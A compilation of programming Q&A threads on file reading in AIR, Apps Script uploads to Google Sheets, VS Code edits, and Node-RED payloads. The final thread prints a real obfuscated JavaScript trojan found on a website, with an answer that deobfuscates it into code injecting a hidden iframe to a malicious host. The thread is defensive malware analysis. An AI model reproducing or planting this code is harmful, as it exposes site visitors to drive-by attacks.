I need to process a text file one line at a time. In BASIC, I could use a readline command, which would read until the next carriage return/line feed.
How would you write a function for looping through a file one line at a time in AIR?
var myDir = air.File.documentsDirectory;
var myFile = myDir.resolvePath("Test.txt");
if (myFile.exists) {
var myFileStream = new air.FileStream();
myFileStream.open(myFile, air.FileMode.READ);
var myByteArray = new air.ByteArray();
myFileStream.readBytes(myByteArray,0,myFileStream.bytesAvailable);
air.Introspector.Console.log(myByteArray.length);
} else {
alert ('File not found.');
}
var LineNumber;
var ItemCode;
var OrderCode;
var Qty;
var myDir = air.File.documentsDirectory;
var myFile = myDir.resolvePath("Test.txt");
if (myFile.exists) {
var myFileStream = new air.FileStream();
myFileStream.open(myFile, air.FileMode.READ);
var myData = new air.ByteArray();
myFileStream.readBytes(myData,0,myFileStream.bytesAvailable);
var str = myData.toString();
var Pos = 0;
var Tab = 0;
var CRLF = 0;
EOL = str.indexOf("\r",Pos);
while (EOL > 0) {
Tab = str.indexOf('\t',Pos);
LineNumber = str.substring(Pos,Tab);
Pos = Tab + 1;
Tab = str.indexOf('\t',Pos);
ItemCode = str.substring(Pos,Tab);
Pos = Tab + 1;
Tab = str.indexOf('\t',Pos);
OrderCode = str.substring(Pos,Tab);
Pos = Tab + 1;
CRLF = str.indexOf('\r',Pos);
Qty = str.substring(Pos,CRLF);
Pos = EOL+1;
EOL = str.indexOf("\r",Pos);
}
} else {
alert ('File not found.');
}
Related
I would like to transfer several images from ESP32 to Google Drive and, in the same script, record the image's URL along with date and time in a Google Sheet for future access.
The Script I am using to receive the image on the Google Drive side is as below:
function doPost(e) {
var myFoldername = e.parameter.myFoldername;
var myFile = e.parameter.myFile;
var myFilename = e.parameter.myFilename;
//var myFilename = Utilities.formatDate(new Date(), "GMT", "yyyyMMddHHmmss")+"-"+e.parameter.myFilename;
var myToken = e.parameter.myToken;
var contentType = myFile.substring(myFile.indexOf(":")+1, myFile.indexOf(";"));
var data = myFile.substring(myFile.indexOf(",")+1);
data = Utilities.base64Decode(data);
var blob = Utilities.newBlob(data, contentType, myFilename);
// Save a captured image to Google Drive.
var folder, folders = DriveApp.getFoldersByName(myFoldername);
if (folders.hasNext()) {
folder = folders.next();
} else {
folder = DriveApp.createFolder(myFoldername);
}
var file = folder.createFile(blob);
file.setDescription("Uploaded by " + myFilename);
var imageID = file.getUrl().substring(file.getUrl().indexOf("/d/")+3,file.getUrl().indexOf("view")-1);
var imageUrl = "https://drive.google.com/uc?authuser=0&id="+imageID;
// Send a link message to Line Notify.
var res = "Line Notify: ";
try {
var url = 'https://notify-api.line.me/api/notify';
var response = UrlFetchApp.fetch(url, {
'headers': {
'Authorization': 'Bearer ' + myToken,
},
'method': 'post',
'payload': {
'message': imageUrl
}
});
res += response.getContentText();
} catch(error) {
res += error;
}
//Here is where the code to save imageUrl to Google Sheet was added **********
return ContentService.createTextOutput(myFoldername+"/"+myFilename+"\n"+imageUrl+"\n"+res);
}
What do I have to add to save "imageUrl" to a Google Sheet?
I have tried to save it to the current sheet, that is the sheet this script is attached to but I get error.
In the line indicated above I added the code below that I cut from a script that only writes to the Goggle sheet (no image transfer) but it fails to save the image URL and complains of the line:
var sheet = getSpreadSheet();
//-------------------------------------------------------------------------------
var result = 'Ok'; // default result
if (e.parameter == 'undefined') {
result = 'No Parameters';
} else {
var alarm= e.parameter.alarm;
if (typeof alarm != 'undefined') {
sendEmail("alarm text:" + stripQuotes(alarm));
return ContentService.createTextOutput(result);
}
var sheet = getSpreadSheet(); //---> Error here
var lastRow = sheet.getLastRow();
var newRow = 1;
if (lastRow > 0) {
var lastVal = sheet.getRange(lastRow, 1).getValue();
//if there was no info for (sentEmailIfUnitIsOutForMinutes) checkIfDead() function will append row with 'dead' text
// so checking do we need to override it
if (lastVal == 'dead')
newRow = lastRow; //to overwrite "dead" value
else
newRow = lastRow + 1;
}
var rowData = [];
var namesOfParams=[];
for (var param in parseQuery(e.queryString))
namesOfParams.push(param);
//creatating headers if first row
if (newRow == 1) {
rowData[0] = "Date";
var i = 1;
for (var i=0; i<namesOfParams.length;i++ ) {
rowData[i+1] = namesOfParams[i];
}
var newRange = sheet.getRange(newRow, 1, 1, rowData.length);
newRange.setValues([rowData]);
rowData = [];
newRow++;
}
rowData[0] = Utilities.formatDate(new Date(), timeZone, dateTimeFormat);
for (var i=0; i<namesOfParams.length;i++ ) {
var value = stripQuotes(e.parameter[namesOfParams[i]]);
rowData[i+1] = value;
}
var newRange = sheet.getRange(newRow, 1, 1, rowData.length);
newRange.setValues([rowData]);
}
//---------------------------------------------------------------------------------
Help highly apreciated.
Thanks
Problem solved with the following script:
var timeZone = "GMT";
var dateTimeFormat = "dd/MM/yyyy HH:mm:ss";
var logSpreadSheetId = "1W1ypQEkfKNFSqhtfgbjbjFgzHO8LDaTv6mNWTP9h4M8";
// logSpreadSheetId is to be copied from the sheet's URL as follows: https://docs.google.com/spreadsheets/d/1W1ypQEkfKNFSqhtfgbjbjFgzHO8LDaTv6mNWTP9h4M8/edit#gid=0
function doPost(e) {
var myFoldername = e.parameter.myFoldername;
var myFile = e.parameter.myFile;
//var myFilename = e.parameter.myFilename;
//var myFilename = Utilities.formatDate(new Date(), timeZone, "ddMMyyyyHHmmss")+"-"+e.parameter.myFilename;
var myFilename = Utilities.formatDate(new Date(), timeZone, "ddMMyyyyHHmmss")+".jpg";
var myToken = e.parameter.myToken;
var contentType = myFile.substring(myFile.indexOf(":")+1, myFile.indexOf(";"));
var data = myFile.substring(myFile.indexOf(",")+1);
data = Utilities.base64Decode(data);
var blob = Utilities.newBlob(data, contentType, myFilename);
// Save a captured image to Google Drive.
var folder, folders = DriveApp.getFoldersByName(myFoldername);
if (folders.hasNext()) {
folder = folders.next();
} else {
folder = DriveApp.createFolder(myFoldername);
}
var file = folder.createFile(blob);
file.setDescription("Uploaded by " + myFilename);
var imageID = file.getUrl().substring(file.getUrl().indexOf("/d/")+3,file.getUrl().indexOf("view")-1);
var imageUrl = "https://drive.google.com/uc?authuser=0&id="+imageID;
addLog(myFilename,imageUrl);
return ContentService.createTextOutput(myFoldername+"/"+myFilename+"\n"+imageUrl+"\n"); //+res);
}
function addLog(myFilename,imageUrl) {
var spr = SpreadsheetApp.openById(logSpreadSheetId);
var sheet = spr.getSheets()[0];
var data = sheet.getDataRange().getValues();
var pos = sheet.getLastRow();
var rowData = [];
if(!pos>0){
pos = 1;
rowData[0] = "Date";
rowData[1] = "Image";
rowData[2] = "URL";
var newRange = sheet.getRange(pos, 1, 1, rowData.length);
newRange.setValues([rowData]);
}
pos = pos +1;
rowData = [];
rowData[0] = Utilities.formatDate(new Date(), timeZone, dateTimeFormat);
rowData[1] = myFilename;
rowData[2] = imageUrl;
var newRange = sheet.getRange(pos, 1, 1, rowData.length);
newRange.setValues([rowData]);
}
Also, for simplicity, the sheet and the script now sit on independent files as the script can refer to the sheet using its ID as in:
var logSpreadSheetId = "1W1ypQEkfKNFSqhtfgbjbjFgzHO8LDaTv6mNWTP9h4M8";.
const textEditor = vscode.window.activeTextEditor;
if (!textEditor) {
return; // No open text editor
}
for(var i=0;i<textEditor.document.lineCount;i++)
{
var textLine = textEditor.document.lineAt(i);
for(var j=textLine.range.start.character; j<=textLine.range.end.character; j++)
{
var startposition = new vscode.Position(i,j);
var endposition = new vscode.Position(i,j+1);
var range = new vscode.Range(startposition,endposition);
var text = textEditor.document.getText(range);
if(text === "\'"){
textEditor.edit(editBuilder => editBuilder.replace(range,"\""));
}
}
}
I need to replace all the single quotes with double quotes. But what happens is the
textEditor.edit(editBuilder => editBuilder.replace(range,"\"")); only replaces the 1st occurence. I need to replace all of the occurence in the document.
let doc = vscode.window.activeTextEditor.document;
let editor = vscode.window.activeTextEditor;
var j=0;
editor.edit(editBuilder => {
for(var i=0;i<doc.lineCount;i++)
{
var line = doc.lineAt(i);
for(j=0;j<line.range.end.character;j++)
{
var startposition = new vscode.Position(i,j);
var endingposition = new vscode.Position(i,j+1);
var range = new vscode.Range(startposition,endingposition);
var charac = editor.document.getText(range);
if(charac == '\'')
{
editBuilder.replace(range,'\"');
console.log(startposition);
}
}
}
})
`
I am trying to make a script to automate deleting duplicate data based on column A. This is the current script I am using and it works.
// This scripts works but deleting new data instead of old data
function removeDuplicates() {
var sheetName = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet().getName();
var ss = SpreadsheetApp.getActive();
var sh = ss.getSheetByName(sheetName);
var vA = sh.getDataRange().getValues();
var hA = vA[0];
var hObj = {};
hA.forEach(function(e, i) {
hObj[e] = i;
});
var uA = [];
var d = 0;
for (var i = 0; i <= vA.length; i++) {
if (uA.indexOf(vA[i][hObj['key']]) == -1) {
uA.push(vA[i][hObj['key']]);
} else {
//sh.deleteRow(i + 1 - d++);
sh.deleteRow((parseInt(i)+1) - d);
d++;
}
}
};
But this one is deleting the newly added row, what I want to achieve is it should delete the old duplicate row instead. How can I do that?
In else part instead of using i which represent your current row, use the indexOf the row you want to delete. Delete it first and then push the new one into array
// This scripts works but deleting new data instead of old data
function removeDuplicates() {
var sheetName = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet().getName();
var ss = SpreadsheetApp.getActive();
var sh = ss.getSheetByName(sheetName);
var vA = sh.getDataRange().getValues();
var hA = vA[0];
var hObj = {};
hA.forEach(function(e, i) {
hObj[e] = i;
});
var uA = [];
var d = 0;
for (var i = 0; i <= vA.length; i++) {
if (uA.indexOf(vA[i][hObj['key']]) == -1) {
uA.push(vA[i][hObj['key']]);
} else {
//sh.deleteRow(i + 1 - d++);
let j = uA.indexOf(vA[i][hObj['key']]);
sh.deleteRow((parseInt(j)+1) - d);
d++;
uA.push(vA[i][hObj['key']]);
}
}
};
i try with Node Red to build an query to send multiple values to an influxDB from a loop with this code:
var inputArray = msg.payload;
var lenInputArray =inputArray.length;
var modbusStartRegister = 14000;
var sendString = "";
var msg93 ={};
for (i = 0; i < lenInputArray; i++) {
var actRegister = modbusStartRegister +i;
var actValue = inputArray[i];
if ( i >=1){
sendString = sendString + " ,"
}
sendString = sendString +"{register: " + actRegister +"," +"value: " + actValue +"}";
if ( i ==(lenInputArray-1)){
sendString = sendString + "]"
}
}
msg93.payload = sendString;
return msg93
But the insert in the influxDB is one line it looks at them interpreted as an complete string. How can I build or convert the string that the DB accept them as individual entry? Thanks for the help
This is because you are building a string, node an object.
You can build the array object on the fly like this:
var inputArray = msg.payload;
var lenInputArray =inputArray.length;
var modbusStartRegister = 14000;
var payload = [];
var msg93 ={};
for (i = 0; i < lenInputArray; i++) {
var temp = {};
temp.register = modbusStartRegister +i;
temp.value = inputArray[i];
payload.push(temp);
}
msg93.payload = payload;
return msg93
I've recently been playing with allot of JavaScript and started to consider that I couldn't encounter a piece of JavaScript that I wouldn't be able to debug.
Well I was pleasantly surprised and angered today when we discovered a number of JavaScript redirect trojans on our company’s website.
Most of the code we found I was able to easily dissect and used standard escaping to obfuscate the codes function.
But among the code we found the code below has completely stumped me on what its doing. (The only part that I can seem to work out is that it is doing a replace on some of the parameters).
So would anyone please be kind enough to dissect the following code for me? I would love to know exactly what’s going on...
<script>
function yJ() {};
this.sMZ = "sMZ";
yJ.prototype = {
w: function () {
var rJ = 13390;
this.m = "m";
this.fP = '';
this.q = "q";
this.oJ = "";
var vS = function () {
return 'vS'
};
var d = 'replace';
var qB = "";
x = '';
var s = document;
var xZ = "xZ";
mC = '';
var dV = "dV";
var b = window;
this.p = false;
this.kX = '';
nP = "nP";
var zE = "";
this.nU = false;
var yV = function () {
return 'yV'
};
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
this.pC = '';
var qV = false;
var fPU = new Array();
h = "";
var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, '');
var xV = 43258;
sT = '';
var mV = '';
this.wJ = "wJ";
var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, '');
var xB = '';
wI = "wI";
oT = false;
var nQ = 49042;
try {
zI = '';
var bF = new Array();
var aY = function () {
return 'aY'
};
var rN = false;
rF = "";
var cX = function () {
return 'cX'
};
var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, '');
this.rL = '';
var vH = function () {
return 'vH'
};
var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, '');
yD = "";
var eA = '';
var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, '');
vZ = '';
this.bG = "";
this.vL = false;
var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, '');
gI = '';
dVL = "dVL";
var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, '');
lH = "";
kD = "kD";
this.pH = false;
var k = 's9ric9'.gT(/[9Ni~O]/g, '');
var vB = '';
var kH = function () {
return 'kH'
};
var qH = new Array();
aD = '';
this.eQ = false;
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var cT = '';
var kL = function () {
return 'kL'
};
var bR = new Array();
this.cP = 22454;
var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, '');
lG = '';
tG = 7587;
hV = '';
this.oR = "oR";
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var dC = function () {};
var eR = new Date();
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
uM = "";
var i = function () {};
this.cI = "";
tU = false;
function qN() {};
xL = 57256;
var c = this.a();
this.eL = '';
var rY = function () {};
fG = false;
nO = false;
this.j = "";
this.iQ = 5330;
var sY = function () {};
var u = document[n](bQ);
this.tH = false;
zX = "";
u[r][o] = dH;
var kV = "kV";
pN = '';
var yG = new Array();
this.nOE = 818;
u[z](k, c);
this.bQK = "";
var yU = 15629;
var sM = new Array();
var eY = "eY";
var qP = '';
s[y][e](u);
var lU = "lU";
var zR = false;
var xS = "";
iX = 34795;
function pO() {};
this.gM = "";
} catch (g) {
var xI = false;
this.gO = false;
this.iZ = false;
this.iU = false;
var mQ = new Date();
var qF = function () {};
s.write(f);
var tS = "tS";
function aR() {};
nA = "nA";
var xT = new Date();
mZ = false;
var gN = new Array();
var wE = this;
var eB = 3562;
this.qE = "qE";
this.cS = false;
this.vK = false;
qEJ = false;
this.hW = false;
b[sV](function () {
function bI() {};
hJ = "";
var kVQ = "kVQ";
var iG = "";
var eBS = new Array();
rA = "";
wE.w();
jY = "";
var hB = "hB";
var iZF = '';
qY = "";
jYG = "";
uK = 30969;
var qD = "qD";
}, 326);
this.qC = "";
var aX = function () {};
var cN = "";
}
gB = false;
var fF = false;
this.hX = false;
},
a: function () {
rH = "rH";
this.bV = '';
var qW = "";
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
var sMS = new Array();
this.wL = false;
uS = "uS";
function pI() {};
}
};
var uI = false;
var kN = new yJ();
this.aQ = "aQ";
kN.w();
hT = 15101;
</script>
It embeds http://fancycake.xxx/something, and this is the line where you can see it:
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
You see how every odd character, when plucked from that string, forms the URL. I didn't run this, so I'm not sure under what conditions it does this, but you can see that String.replace has been renamed to String.gT and is being passed a regex against the characters which make the string obfuscated. If you apply that same method, plucking odd characters, you can see that there is a hidden iframe, some javascript event handlers, setAttribute, etc:
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
This is how String.replace is aliased:
var d = 'replace';
...
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
Within the context of that function, this is the string on which gT is being called and d is the string replace. On a string's prototype, this['replace'] returns the replace() method, which is then called with the two arguments to gT. The result is then returned.
Update
I transformed the script like so:
Replaced all string.gT() calls with their plain forms.
Removed any variables that aren't referenced.
Gave functions some common-sense names.
This is the result, it should be pretty clear how it works now:
function FancyCake() {};
FancyCake.prototype = {
embed: function () {
var d = 'replace';
var s = document;
var b = window;
var sV = 'setTimeout';
var f = "<html ><head ></head><body ></body></html>";
try {
zI = '';
var bF = new Array();
var y = 'body';
var r = 'style';
var bQ = 'iframe';
var t = 'write';
var n = 'createElement';
var k = 'src';
var z = 'setAttribute';
var dH = 'hidden';
var o = 'visibility';
var e = 'appendChild';
var c = this.getUrl();
var u = document[n](bQ);
u[r][o] = dH;
u[z](k, c);
s[y][e](u);
} catch (e) {
console.error(e);
s.write(f);
var cake = this;
b[sV](function () {
cake.embed();
}, 326);
}
},
getUrl: function () {
return "http://fancycake.net/.ph/1/";
}
};
var cake = new FancyCake();
cake.embed();
It adds an invisible iFrame to the following URL to your website:
<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe>
The website fancycake is marked as attacked and malicious under Firefox
Run it in a JavaScript debugger; eventually, the code will decompile itself and try to start. I suggest to use the latest version of FireFox maybe on a Linux box to be on the safe side.